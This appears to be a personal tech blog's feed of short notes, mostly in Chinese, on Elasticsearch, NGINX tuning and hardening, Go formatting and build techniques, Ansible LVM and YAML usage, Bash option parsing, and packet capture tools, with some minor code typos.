echo -ne "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

echo -e "[INFO] Processing file: log.txt\033[0K\r"
echo "DONE"

!/bin/bash
printf "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

printf "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

printf "[INFO] Processing file: log.txt\033[0K\r\n"
echo "DONE"

ElasticSearch 学习笔记

Thu, 06 Oct 2022 11:30:59 +0800

ElasticSearch 学习笔记

安装中文分词插件

docker exec -it elasticsearch bash
$ elasticsearch-plugin install https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v8.4.1/elasticsearch-analysis-ik-8.4.1.zip

Dev Tools
- content 类型为 text，写入时使用 ik_max_word 做分词，搜索时使用 ik_smart 分词。这两个的区别在于，前者产生尽可能多的分词，后者产生粗粒度的分词。

PUT /words
{
 "mappings": {
 "properties": {
 "content": {
 "type": "text",
 "analyzer": "ik_max_word",
 "search_analyzer": "ik_smart"
 },
 "age": {
 "type": "integer",
 "index": false
 }
 }
 }
}

{
 "acknowledged": true,
 "shards_acknowledged": true,
 "index": "words"
}

《宝可梦：阿尔宙斯》双周目通关

Mon, 19 Sep 2022 11:30:08 +0800

《宝可梦：阿尔宙斯》双周目通关

Avoiding the Top 10 NGINX Configuration Mistakes - NGINX

Fri, 16 Sep 2022 15:22:23 +0800

Avoiding the Top 10 NGINX Configuration Mistakes - NGINX

1) 每個 worker 的檔案描述元（FD）不夠

問題點

worker_connections 只限制 單一 worker 可同時開啟的連線數（預設 512）。
但每個連線/檔案/暫存檔/日誌都會消耗 檔案描述元（FD），而 OS 預設每個 process 常見是 1024。
常見錯誤：只調大 worker_connections，卻沒有同步提高 FD 限制，導致 worker 提早耗盡 FD。

修正方式

在 main context 設定 worker_rlimit_nofile，至少為 worker_connections 的 2 倍（經驗值）。
同時確認系統總 FD 上限 fs.file-max 足夠： worker_rlimit_nofile * worker_processes 要明顯小於 fs.file-max。

# main context
worker_connections 1024; # 在 events {} 內
worker_rlimit_nofile 2048; # 在 main context

補充

NGINX 當 proxy 時：client 連線 1 FD + upstream 連線 1 FD，可能還需要暫存檔 1 FD。
若被 DoS 打滿 FD，甚至可能無法登入機器處置，因此要預留系統餘裕。

2) `error_log off` 其實沒有關閉 error log

問題點

error_log 不支援 off 參數。
寫成 error_log off; 會讓 NGINX 產生一個名為 off 的檔案（通常在 /etc/nginx/）。

修正方式（不建議真的關閉）

若真的必須停寫 error log（例如磁碟極度有限），改導到 /dev/null 並限制等級：

# main context
error_log /dev/null emerg;

補充

這條生效前，NGINX 啟動/ reload 驗證設定的過程仍可能先寫到預設路徑（常見 /var/log/nginx/error.log）。
可用啟動參數 nginx -e <error_log_location> 指定啟動階段的 error log 位置。

3) 沒有對 upstream 啟用 keepalive（導致連線/來源埠耗盡）

問題點

預設：NGINX 對 upstream 每個 request 都新建連線，連線建立/關閉都有成本。
高流量時會放大 OS 資源消耗；且連線關閉後會進入 TIME-WAIT，可能導致 來源埠（ephemeral ports）耗盡，進而無法建立新連線。

修正方式

(A) 在每個 upstream {} 內加 keepalive

Go 字串格式化

Thu, 08 Sep 2022 11:32:00 +0800

結尾的動詞（verb）決定對應參數的型別與解讀方式。

d - 十進位整數
o - 八進位整數
O - 帶有 0o 前綴的八進位整數
b - 二進位整數
x - 十六進位整數（小寫）
X - 十六進位整數（大寫）
f - 十進位浮點數（小寫）
F - 十進位浮點數（大寫）
e - 科學記號（尾數/指數，小寫）
E - 科學記號（尾數/指數，大寫）
g - %e 或 %f 的最短表示
G - %E 或 %F 的最短表示
c - 以 Unicode 碼點表示的字元
q - 帶引號的字元
U - Unicode 逸出序列
t - true 或 false 字串
s - 字串
v - 預設格式
#v - 值的 Go 語法表示
T - 值型別的 Go 語法表示
p - 指標位址
% - 雙 %% 會輸出單一 %

Go 字串格式化索引

package main

import (
 "fmt"
)

func main() {

 n1 := 2
 n2 := 3
 n3 := 4

 res := fmt.Sprintf("There are %d oranges %d apples %d plums", n1, n2, n3)
 fmt.Println(res) // There are 2 oranges 3 apples 4 plums

 res2 := fmt.Sprintf("There are %[2]d oranges %d apples %[1]d plums", n1, n2, n3)
 fmt.Println(res2) // There are 3 oranges 4 apples 2 plums
}

Go 字串格式化精度

package main

import (
 "fmt"
)

func main() {

 fmt.Printf("%0.f\n", 16.540) // 17
 fmt.Printf("%0.2f\n", 16.540) // 16.54
 fmt.Printf("%0.3f\n", 16.540) // 16.540
 fmt.Printf("%0.5f\n", 16.540) // 16.54000
}

Go 字串格式化旗標

package main

import (
 "fmt"
)

func main() {

 fmt.Printf("%+d\n", 1691) // +1691

 fmt.Printf("%#x\n", 1691) // 0x69b
 fmt.Printf("%#X\n", 1691) // 0X69B
 fmt.Printf("%#b\n", 1691) // 0b11010011011

 fmt.Printf("%10d\n", 1691) // 1691
 fmt.Printf("%-10d\n", 1691) // 1691
 fmt.Printf("%010d\n", 1691) // 0000001691
}

Go 字串格式化寬度

package main

import (
 "fmt"
)

func main() {

 w := "falcon"
 n := 122
 h := 455.67

 fmt.Printf("%s\n", w) // falcon
 fmt.Printf("%10s\n", w) // falcon

 fmt.Printf("%d\n", n). // 122
 fmt.Printf("%7d\n", n) // 122
 fmt.Printf("%07d\n", n) // 0000122

 fmt.Printf("%10f\n", h) // 455.670000
 fmt.Printf("%11f\n", h) // 455.670000
 fmt.Printf("%12f\n", h) // 455.670000
}

LVM - lvg 與 lvol

Mon, 05 Sep 2022 15:32:05 +0800

LVM - lvg 與 lvol

卷群組

- name: 在 /dev/sda1 跟 /dev/sdb1 之上建立 volume group，其 extend size 設置為 32MB
 community.general.lvg:
 vg: vg.services
 pvs: /dev/sda1,/dev/sdb1
 pesize: 32

本地卷

- name: 建立一個大小為 512m 的 local volume
 community.general.lvol:
 vg: firefly
 lv: test
 size: 512

範例

---
- name: Create LVM for DRBD
 hosts: all
 become: yes

 vars:
 vg_name: drbdpool

 tasks:
 - name: Create a new primary partition for LVM
 community.general.parted:
 device: /dev/sdb
 number: 1
 align: optimal
 flags: [lvm]
 state: present

 - name: Create a volume group on top of /dev/sda1 with physical extent size = 32MB
 community.general.lvg:
 vg: "{{ vg_name }}"
 pvs: /dev/sdb1
 state: present

 - name: Create a logical volume
 community.general.lvol:
 vg: "{{ vg_name }}"
 lv: drbddata
 size: 100%FREE

YAML 裡的字串很長該怎麼做？

Mon, 29 Aug 2022 15:01:40 +0800

YAML 裡的字串很長該怎麼做？

在 YAML 裡已經有規範此部份，在這種情況有四種方法可以幫助我們：

|: 其下內容的換行，就是換行，最後一行會有換行。
>: 其下內容的換行，不會是換行，會變為一個很長的字串，最後會有換行。
|-: 其下內容的換行，就是換行，但最後一行不會有換行。
>-: 其下內容的換常，不會是換行，最後一行也不會有換行。

簡單的說，> 跟 >- 可以增加 YAML 的可讀性，又不會有多餘的換行符號。而 | 跟 |- 則可以讓字串跟定義的一致，在 YAML 裡看到換行，那字串裡就會有換行符號。

---
- name: Test long string
 hosts: all

 vars:
 s1: "hello"
 s2: |
 s2
 this is my very very very
 long string
 line1
 line2
 line3
 s3: >
 s3
 this is my very very very
 long string
 line1
 line2
 line3
 s4: |-
 s4
 this is my very very very
 long string
 line1
 line2
 line3
 s5: >-
 s5
 this is my very very very
 long string
 line1
 line2
 line3

 tasks:
 - name: s1
 copy:
 content: "{{ s1 }}"
 dest: "/tmp/s1.txt"
 # hello%

 - name: s2
 copy:
 content: "{{ s2 }}"
 dest: "/tmp/s2.txt"
 # s2
 # this is my very very very
 # long string
 # line1
 # line2
 # line3

 - name: s3
 copy:
 content: "{{ s3 }}"
 dest: "/tmp/s3.txt"
 # s3 this is my very very very long string line1 line2 line3

 - name: s4
 copy:
 content: "{{ s4 }}"
 dest: "/tmp/s4.txt"
 # s4
 # this is my very very very
 # long string
 # line1
 # line2
 # line3%

 - name: s5
 copy:
 content: "{{ s5 }}"
 dest: "/tmp/s5.txt"
 # s5 this is my very very very long string line1 line2 line3%

實戰經驗整理的 25 個 Nginx 技巧

Wed, 10 Aug 2022 12:27:28 +0800

實戰經驗整理的 25 個 Nginx 技巧
server_tokens off;
ssl_protocols TLSv1.2 TLSv1.3;
停用不需要的 HTTP 方法

 location / {
 limit_except GET HEAD POST { deny all; }
 }

啟用基於 sysctl 的保護

net.ipv4.conf.all.rp_filter = 1
net.ipv4.tcp_syncookies = 1

防止圖片外連

location /images/ {
 valid_referers none blocked www.domain.com domain.com;
 if ($invalid_referer) {
 return 403;
 }
}

add_header X-Content-Type-Options nosniff;
add_header X-XSS-Protection "1; mode=block";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

為你的Go應用建立輕量級Docker映象？ | IT人

Mon, 25 Jul 2022 17:33:47 +0800

為你的 Go 應用建立輕量級 Docker 映象？ | IT 人

go build

# default
$ go build -o test1 main.go
$ du -sh test1
14M test1


# 在程式編譯的時候可以加上 `-ldflags "-s -w"` 引數來優化編譯，原理是通過去除部分連結和除錯等資訊來減小編譯生成的可執行程式體積，具體引數如下：
# -a：強制編譯所有依賴包
# -s：去掉符號表資訊，不過 panic 的時候 stack trace 就沒有任何檔名/行號資訊了
# -w：去掉 DWARF 除錯資訊，不過得到的程式就不能使用 gdb 進行除錯了
# 若對符號表無需求，-ldflags 直接新增 "-s" 即可
# 注：不建議-w和-s同時使用
$ go build -ldflags "-s -w" -o test2 main.go
$ du -sh test2
11M test2

upx(`brew/yum install upx`)

$ upx test2
 Ultimate Packer for eXecutables
 Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
 File size Ratio Format Name
 -------------------- ------ ----------- -----------
 11490768 -> 4063248 35.36% macho/amd64 test2
Packed 1 file.

$ upx --brute test2
$ du -sh test2
4.6M test2

upx 的壓縮選項

[Golang] 利用build tags達到不同的build config

Mon, 18 Jul 2022 14:21:34 +0800

[Golang] 利用 build tags 達到不同的 build config

Go build -ldflags

package main

import (
 "fmt"
)

var flagString string

func main() {
 fmt.Println("This build with ldflag:", flagString)
}

$ go build -ldflags '-X main.flagString "test"'

$ ./main
This build with ldflag: test

Go build -tags

debug_config.go

//+build debug

package main

var TestString string = "test debug"
var TestString2 string = " and it will run every module with debug tag."

func GetConfigString() string {
 return "it is debug....."
}

//+build debug 前後需要一個空行(除非你在第一行)

release_config.go

//+build !debug

package main

var TestString string = "test release"
var TestString2 string = " and it will run every module as no debug tag."

func GetConfigString() string {
 return "it is release....."
}

main

package main

import (
 "fmt"
)

func main() {
 fmt.Println("This build is ", TestString, TestString2, GetConfigString())
}

$ go build -tags debug .
$ ./main
This build is test debug and it will run every module with debug tag. it is debug.....

$ go build .
$ ./main
This build is test release and it will run every module as no debug tag. it is release.....

Go embed 简明教程

Tue, 12 Jul 2022 13:57:03 +0800

Go embed 简明教程

嵌入

对于单个的文件，支持嵌入为string和 []byre
对于多个文件和文件夹，支持嵌入为新的文件系统 FS
比如导入 “embed” 包，即使无显式的使用
go:embed 指令用来嵌入，必须紧跟着嵌入后的变量名
只支持嵌入为 string, []byte 和 embed.FS 三种类型，这三种类型的别名(alias)和命名类型(如 type S string)都不可以
使用的是相对路径

string/[]byte

package main

import (
 _ "embed"
 "fmt"
)

//go:embed hello.txt
var s string

//go:embed hello.txt
var b []byte

func main() {
 fmt.Println(s)
 fmt.Println(b)
}

embed.FS

package main

import (
 "embed"
 "fmt"
)

//go:embed hello.txt hello2.txt
//go:embed "p/he llo.txt"
//go:embed `p/hello-2.txt`
//go:embed dir
var f embed.FS
func main() {
 data, _ := f.ReadFile("hello.txt")
 fmt.Println(string(data))
 data, _ = f.ReadFile("hello2.txt")
 fmt.Println(string(data))
 data, _ := f.ReadFile("p/he llo.txt")
 fmt.Println(string(data))
 data, _ = f.ReadFile("p/hello-2.txt")
 fmt.Println(string(data))
}

匹配模式

go:embed 指令中可以只写文件夹名，此文件夹中除了.和_开头的文件和文件夹都会被嵌入，并且子文件夹也会被递归的嵌入，形成一个此文件夹的文件系统。

使用 Vim 當作差異比對工具

Thu, 07 Jul 2022 17:36:22 +0800

使用 Vim 當作差異比對工具

指令

vim -d file1.txt file2.txt 或 vimdiff file1.txt file2.txt

在差異視窗間切換: Ctrl-w + Ctrl-w
切換分割視窗方向
- ctrl-w + K 將視窗方向由垂直切換為水平。
- ctrl-w + H 將視窗方向切回垂直分割。
在變更之間跳轉
- ]c 前往下一個變更。
- [c 跳回上一個變更。
從差異視窗套用變更: :diffget, :diffput
匯出差異為 HTML: :TOhtml | w ~/diff.html

OIDC(OpenID Connect) 简介

Wed, 06 Jul 2022 08:47:49 +0800

OIDC(OpenID Connect) 简介

Authentication vs. authorization

Authentication 通常是指校验是否是用户本人的这个过程，而 Authorization 则更多的是指用户是否有权限。通常我们都是先校验是否是用户本人，然后再校验用户是否有权限。也就是先开始 Authentication，再开始 Authorization。

Authentication	Authorization
Determines whether users are who they claim to be	Determines what users can and cannot access
Challenges the user to validate credentials (for example, through passwords, answers to security questions, or facial recognition)	Verifies whether access is allowed through policies and rules
Usually done before authorization	Usually done after successful authentication
Generally, transmits info through an ID Token	Generally, transmits info through an Access Token
Generally governed by the OpenID Connect (OIDC) protocol	Generally governed by the OAuth 2.0 framework
Example: Employees in a company are required to authenticate through the network before accessing their company email	Example: After an employee successfully authenticates, the system determines what information the employees are allowed to access

OAuth 2

Client Credentials Grant

这种模式是最简单的，其实就是客户端告诉服务端自己是哪个客户端，服务器就将 access_token 下发

Bash 位元運算子

Mon, 04 Jul 2022 15:20:39 +0800

Bash 位元運算子

Bash 的進位轉換工具

Bash 的算術展開允許我們用「進位數字 + #」的方式表示任意進位的數字。

$ echo $((2#1001))
9

bc 可以用 ibase（輸入進位）與 obase（輸出進位）輕鬆進行進位轉換。以下將十進位的 9 轉成二進位。

$ echo "ibase=10;obase=2;9" | bc
1001

Nginx 使用 split_clients 进行简易 A/B 测试

Mon, 04 Jul 2022 14:36:23 +0800

Nginx 使用 split_clients 进行简易 A/B 测试

ngx_http_split_clients_module

configure

这里举例，我们想要 20% 的用户跳转到网址 https://example.com/，30% 的用户跳转到网址 https://example.org/，剩下的跳转到网址 https://examle.edu/

split_clients "${remote_addr}AAA" $variant {
 20% https://example.com/;
 30% https://example.org/;
 * https://example.edu/;
}

server {
 listen 80;
 listen [::]:80;
 server_name _;

 return 302 ${variant};
}

上述例子中，按照访客请求的 IP 地址加上 AAA 字符串会使用 MurmurHash2 转换成数字，如果得出的数字在前 20%，那么 $variant 值为 https://example.com/，相应的在中间 30% 区间的值为 https://example.org/，其他的为 https://example.edu/。

指定不同的目录

root /var/www/${variant};

指定不同的首页

index index-${variant}.html;

即時監控網路介面上的 HTTP 請求

Thu, 23 Jun 2022 16:48:42 +0800

即時監控網路介面上的 HTTP 請求

tcpflow

apt/dnf install tcpflow

$ sudo tcpflow -p -c -i wlp0s20f3 port 80 | grep -oE '(GET|POST) .* HTTP/1.[01]|Host: .*'
reportfilename: ./report.xml
tcpflow: listening on wlp0s20f3
GET /alexlarsson/flatpak/ubuntu/dists/focal/InRelease HTTP/1.1

GET /mirrors.txt HTTP/1.1

-p 停用混雜模式
-c 只輸出到主控台，不建立檔案
-i 指定網路介面 grep 會接收 tcpflow 的輸出
-o 只顯示符合樣式的那一段
-E 表示樣式是延伸正則表示式（ERE）

httpry

https://github.com/jbittel/httpry.git

sudo httpry -i wlp0s20f3
httpry version 0.1.8 -- HTTP logging and information retrieval tool
Copyright (c) 2005-2014 Jason Bittel <jason.bittel@gmail.com>
Starting capture on wlp0s20f3 interface
2022-06-22 16:38:12.166 192.168.1.24 172.217.17.238 > GET google.com / HTTP/1.1 - -
2022-06-22 16:38:12.199 172.217.17.238 192.168.1.24 < - - - HTTP/1.0 400 Bad Request
2022-06-22 16:38:23.090 192.168.1.24 172.217.17.238 > POST google.com / HTTP/1.1 - -
2022-06-22 16:38:23.163 172.217.17.238 192.168.1.24 < - - - HTTP/1.1 405 Method Not Allowed

golang pprof 实战

Wed, 22 Jun 2022 15:29:02 +0800

package main

import (
 // 略
 _ "net/http/pprof" // 会自动注册 handler 到 http server，方便通过 http 接口获取程序运行采样报告
 // 略
)

func main() {
 // 略

 runtime.GOMAXPROCS(1) // 限制 CPU 使用数，避免过载
 runtime.SetMutexProfileFraction(1) // 开启对锁调用的跟踪
 runtime.SetBlockProfileRate(1) // 开启对阻塞操作的跟踪

 go func() {
 // 启动一个 http server，注意 pprof 相关的 handler 已经自动注册过了
 // /debug/pprof/
 if err := http.ListenAndServe(":6060", nil); err != nil {
 log.Fatal(err)
 }
 os.Exit(0)
 }()

 // 略
}

http://localhost:6060/debug/pprof/

类型	描述	备注
allocs	内存分配情况的采样信息	可以用浏览器打开，但可读性不高
blocks	阻塞操作情况的采样信息	可以用浏览器打开，但可读性不高
cmdline	显示程序启动命令及参数	可以用浏览器打开，这里会显示 ./go-pprof-practice
goroutine	当前所有协程的堆栈信息	可以用浏览器打开，但可读性不高
heap	堆上内存使用情况的采样信息	可以用浏览器打开，但可读性不高
mutex	锁争用情况的采样信息	可以用浏览器打开，但可读性不高
profile	CPU 占用情况的采样信息	浏览器打开会下载文件
threadcreate	系统线程创建情况的采样信息	可以用浏览器打开，但可读性不高
trace	程序运行跟踪信息	浏览器打开会下载文件，本文不涉及，可另行参阅《深入浅出 Go trace》

排查 CPU 占用过高

在 Bash 中解析命令列參數

Tue, 07 Jun 2022 14:48:47 +0800

在 Bash 中解析命令列參數

getopts

getopts optstring opt [arg ...]

#!/bin/bash

while getopts 'abc:h' opt; do
 case "$opt" in
 a)
 echo "Processing option 'a'"
 ;;

 b)
 echo "Processing option 'b'"
 ;;

 c)
 arg="$OPTARG"
 echo "Processing option 'c' with '${OPTARG}' argument"
 ;;

 ?|h)
 echo "Usage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;
 esac
done
shift "$(( $OPTIND -1 ))"

optstring 代表支援的選項。若某個選項需要參數，則在它後面加冒號 (:)。例如選項 c 需要參數，會寫成 c:
當選項有關聯參數時，getopts 會將參數字串存到 OPTARG shell 變數中。例如 option c 的參數會存到 OPTARG。
opt 包含已解析的選項。

#!/bin/bash

while getopts ':abc:h' opt; do
 case "$opt" in
 a)
 echo "Processing option 'a'"
 ;;

 b)
 echo "Processing option 'b'"
 ;;

 c)
 arg="$OPTARG"
 echo "Processing option 'c' with '${OPTARG}' argument"
 ;;

 h)
 echo "Usage: $(basename $0) [-a] [-b] [-c arg]"
 exit 0
 ;;

 :)
 echo -e "option requires an argument.\nUsage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;

 ?)
 echo -e "Invalid command option.\nUsage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;
 esac
done
shift "$(( $OPTIND -1 ))"

注意我們也更新了 optstring，現在以冒號 (:) 開頭，會抑制預設的錯誤訊息。
當 OPTERR 變數設為 0 時，getopts 會停用錯誤訊息輸出。

使用 getopt 解析長選項

#!/bin/bash

VALID_ARGS=$(getopt -o abg:d: --long alpha,beta,gamma:,delta: -- "$@")
if [[ $? -ne 0 ]]; then
 exit 1;
fi

eval set -- "$VALID_ARGS"
while [ : ]; do
 case "$1" in
 -a | --alpha)
 echo "Processing 'alpha' option"
 shift
 ;;
 -b | --beta)
 echo "Processing 'beta' option"
 shift
 ;;
 -g | --gamma)
 echo "Processing 'gamma' option. Input argument is '$2'"
 shift 2
 ;;
 -d | --delta)
 echo "Processing 'delta' option. Input argument is '$2'"
 shift 2
 ;;
 --) shift;
 break
 ;;
 esac
done

-o 選項代表短選項
--long 選項代表長選項

Go 程式碼重構：23 倍效能追擊

Tue, 07 Jun 2022 13:42:07 +0800

Go 程式碼重構：23 倍效能追擊

$ go test -bench=. -cpuprofile cpu.prof
$ go tool pprof -svg cpu.prof > cpu.svg

$ go test -bench=. -trace trace.out
$ go tool trace trace.out

Dockertest 极速搭建集成测试环境神器

Thu, 12 May 2022 16:43:31 +0800

Tcpdump 使用总结

Thu, 05 May 2022 13:39:10 +0800

Tcpdump 使用总结

命令使用

tcpdump 采用命令行方式，它的命令格式为：

tcpdump [ -AdDeflLnNOpqRStuUvxX ] [ -c count ]
 [ -C file_size ] [ -F file ]
 [ -i interface ] [ -m module ] [ -M secret ]
 [ -r file ] [ -s snaplen ] [ -T type ] [ -w file ]
 [ -W filecount ]
 [ -E spi@ipaddr algo:secret, ... ]
 [ -y datalinktype ] [ -Z user ]
 [ expression ]

tcpdump 的简单选项介绍

-E spi@ipaddr algo:secret , ...，可通过spi@ipaddr algo:secret 来解密 IPsec ESP 包。secret 为用于 ESP 的密钥，使用 ASCII 字符串方式表达。如果以 0x 开头，该密钥将以 16 进制方式读入。除了以上的语法格式(指spi@ipaddr algo:secret)，还可以在后面添加一个语法输入文件名字供 tcpdump 使用(即把 spi@ipaddr algo:secret, … 中…换成一个语法文件名)。在接收到第一个 ESP 包时会打开此文件，所以最好此时把赋予 tcpdump 的一些特权取消(可理解为，这样防范之后，当该文件为恶意编写时，不至于造成过大损害)。
-T type 强制 tcpdump 按 type 指定的协议所描述的包结构来分析收到的数据包。目前已知的 type 可取的协议为:
- aodv (Ad-hoc On-demand Distance Vector protocol，按需距离向量路由协议，在 Ad hoc(点对点模式)网络中使用)，
- cnfp (Cisco NetFlow protocol)
- rpc(Remote Procedure Call)
- rtp (Real-Time Applications protocol)
- rtcp (Real-Time Applications con-trol protocol)
- snmp (Simple Network Management Protocol)
- tftp (Trivial File Transfer Protocol，碎文件协议)
- vat (Visual Audio Tool，可用于在 internet 上进行电视电话会议的应用层协议)
- wb (distributed White Board，可用于网络会议的应用层协议)

实用命令实例

截获主机 210.27.48.1 和主机 210.27.48.2 或 210.27.48.3 的通信

Go语言高性能编程手册（万字长文）

Fri, 22 Apr 2022 18:01:43 +0800

Go 语言高性能编程手册（万字长文）

常用数据结构

反射虽好，切莫贪杯

优先使用 strconv 而不是 fmt
少量的重复不比反射差
慎用 binary.Read 和 binary.Write
- binary.Read 和 binary.Write 使用反射并且很慢。如果有需要用到这两个函数的地方，我们应该手动实现这两个函数的相关功能，而不是直接去使用它们。

避免重复的字符串到字节切片的转换

指定容器(slice/map)容量

字符串拼接方式

行内拼接字符串推荐使用运算符 +
非行内拼接字符串推荐使用 strings.Builder

遍历 []struct{} 使用下标而不是 range

两种通过 index 遍历 []struct 性能没有差别，但是 range 遍历 []struct 中元素时，性能非常差。

range 遍历 []*struct 中元素时，與下标性能没有差别。

内存管理

使用空结构体节省内存

struct 布局要考虑内存对齐

CPU 访问内存时，并不是逐个字节访问，而是以字长（word size）为单位访问。比如 32 位的 CPU ，字长为 4 字节，那么 CPU 访问内存的单位也是 4 字节。这么设计的目的，是减少 CPU 访问内存的次数，加大 CPU 访问内存的吞吐量。比如同样读取 8 个字节的数据，一次读取 4 个字节那么只需要读取 2 次。

iPhone 鈴聲製作教學，將 MP3 音樂換成電話鈴聲或鬧鐘鈴聲

Sun, 10 Apr 2022 20:01:37 +0800

步驟一：準備想換成 iPhone 鈴聲的 MP3 音樂

首先第一步是準備好你想當成鈴聲的音樂，建議是 MP3 檔，然後儲存在「檔案 App」的資料夾內

步驟二：透過 Garageband App 製作 iPhone 鈴聲

接著，請開啟 iPhone 內建的「Garageband App」（如果你刪除了請先下載回來），點選「製作歌曲」，然後選擇「錄音機」。

點選音軌: 現在進入了錄音機的頁面，點選左上角第三個圖示進到音軌，然後再點選右上角倒數第二個圓圈圖示
將 MP3 音樂拖曳到音軌上: 這步驟很關鍵，將分頁切換到「檔案」，然後找到你剛剛下載好的 MP3 音樂，將它拖曳到左邊的音軌上。
編輯鈴聲: 接著，你可以拖拉音樂的前後來編輯你想要的鈴聲片段，也可以按播放鍵來試聽目前的鈴聲是否符合你的預期。
儲存歌曲: 確認沒問題之後，點選左上角的「三角形圖示」，然後按一下「我的歌曲」，你會看到該檔案已儲存成功，接著請長按它。
製作鈴聲: 長按該音訊檔案後，選擇「分享」，然後點選「鈴聲」。
輸出鈴聲: 而在這邊你可以編輯該鈴聲的名稱，編輯完後點選右上角的「輸出」，這樣就完成自訂 iPhone 鈴聲了！

步驟三：iPhone 電話鈴聲設定

開啟 iPhone 上的「設定」app，點選「聲音與觸覺回饋」>「鈴聲」，在鈴聲這區塊內你就會看到剛剛製作好的鈴聲囉。

步驟四：iPhone 鬧鐘鈴聲設定

開啟「時鐘 App」點選左上角的「編輯」，然後選擇任一個你想更換鈴聲的的 iPhone 鬧鐘。點選「提示聲」後，將「鈴聲」改為你剛剛製作好的 MP3 音樂鈴聲就可以了。

怎么选择 Go 文件读取方案

Tue, 29 Mar 2022 16:15:34 +0800

怎么选择 Go 文件读取方案

Go 提供了可一次性读取文件内容的方法：os.ReadFile 与 ioutil.ReadFile。在 Go 1.16 开始，ioutil.ReadFile 就等价于 os.ReadFile。

一次性加载文件的优缺点非常明显，它能减少 IO 次数，但它会将文件内容都加载至内存中，对于大文件，存在内存撑爆的风险。

逐行读取

Go 中 bufio.Reader 对象提供了一个 ReadLine() 方法，但其实我们更多地是使用 ReadBytes(’\n’) 或者 ReadString(’\n’) 代替。

func ReadLines(filename string) {
 fi, err := os.Open(filename)
 if err != nil{
 panic(err)
 }
 defer fi.Close()
 reader := bufio.NewReader(fi)
 for {
 _, err = reader.ReadString('\n')
 if err != nil {
 if err == io.EOF {
 break
 }
 panic(err)
 }
 }
}

块读取

块读取也称为分片读取，这也很好理解，我们可以将内容分成一块块的，每次读取指定大小的块内容。这里，我们将块大小设置为 4KB。

func ReadChunk(filename string) {
 f, err := os.Open(filename)
 if err != nil {
 panic(err)
 }
 defer f.Close()
 buf := make([]byte, 4*1024)
 r := bufio.NewReader(f)
 for {
 _, err = r.Read(buf)
 if err != nil {
 if err == io.EOF {
 break
 }
 panic(err)
 }
 }
}

result

BenchmarkOsReadFile4KB-8 92877 12491 ns/op
BenchmarkOsReadFile4MB-8 1620 744460 ns/op
BenchmarkOsReadFile4GB-8 1 7518057733 ns/op
signal: killed

BenchmarkReadLines4KB-8 90846 13184 ns/op
BenchmarkReadLines4MB-8 493 2338170 ns/op
BenchmarkReadLines4GB-8 1 3072629047 ns/op
BenchmarkReadLines16GB-8 1 12472749187 ns/op

BenchmarkReadChunk4KB-8 99848 12262 ns/op
BenchmarkReadChunk4MB-8 913 1233216 ns/op
BenchmarkReadChunk4GB-8 1 2095515009 ns/op
BenchmarkReadChunk16GB-8 1 8547054349 ns/op

在本文的测试条件下（每行数据 1KB），对于小对象 4KB 的读取，三种方式差距并不大；在 MB 级别的读取中，直接加载最快，但块读取也慢不了多少；上了 GB 后，块读取方式会最快。

將 List 轉置為 dict 的 list

Wed, 09 Mar 2022 11:26:23 +0800

將 List 轉置為 dict 的 list

list

my_users:
 - aaa
 - bbb
 - ccc

dict

my_users:
 - Name: aaa
 - Name: bbb
 - Name: ccc

playbook

- name: Transform data
 vars:
 orig_users:
 - aaa
 - bbb
 - ccc
 my_users: []
 set_fact:
 my_users: "{{ my_users + [{} | combine({'Name': item})] }}"
 loop: "{{ orig_users }}"

說明如下：

利用 combine 這個 filter 來組出 dict
利用 loop 去 iterate orig_users
用 my_users + [{} | combine({‘Name’: item})] 來做 List append```

fortios_system_config_backup_restore 的拼寫錯誤、缺少 collection，或模組路徑不正確

Thu, 06 Jan 2022 13:40:40 +0800

fortios_system_config_backup_restore 的拼寫錯誤、缺少 collection，或模組路徑不正確

問題

Hi,

我在嘗試使用 fortios_system_config_backup_restore 模組，並依照你的 playbook 範例從 Fortigate 取得設定。

我使用的是 ansible 2.10.6。

當我使用 fortinet.fortios:1.1.8 這個 collection 時，出現以下錯誤：missing 1 required positional argument: 'mod'

The full traceback is:
Traceback (most recent call last):
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 102, in <module>
 _ansiballz_main()
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 94, in _ansiballz_main
 invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 40, in invoke_module
 runpy.run_module(mod_name='ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore', init_globals=None, run_name='__main__', alter_sys=True)
 File "/usr/lib/python3.8/runpy.py", line 207, in run_module
 return _run_module_code(code, init_globals, run_name, mod_spec)
 File "/usr/lib/python3.8/runpy.py", line 97, in _run_module_code
 _run_code(code, mod_globals, init_globals,
 File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
 exec(code, run_globals)
 File "/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py", line 472, in <module>
 File "/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py", line 436, in main
TypeError: __init__() missing 1 required positional argument: 'mod'
fatal: [fortigate-01]: FAILED! => {
 "changed": false,
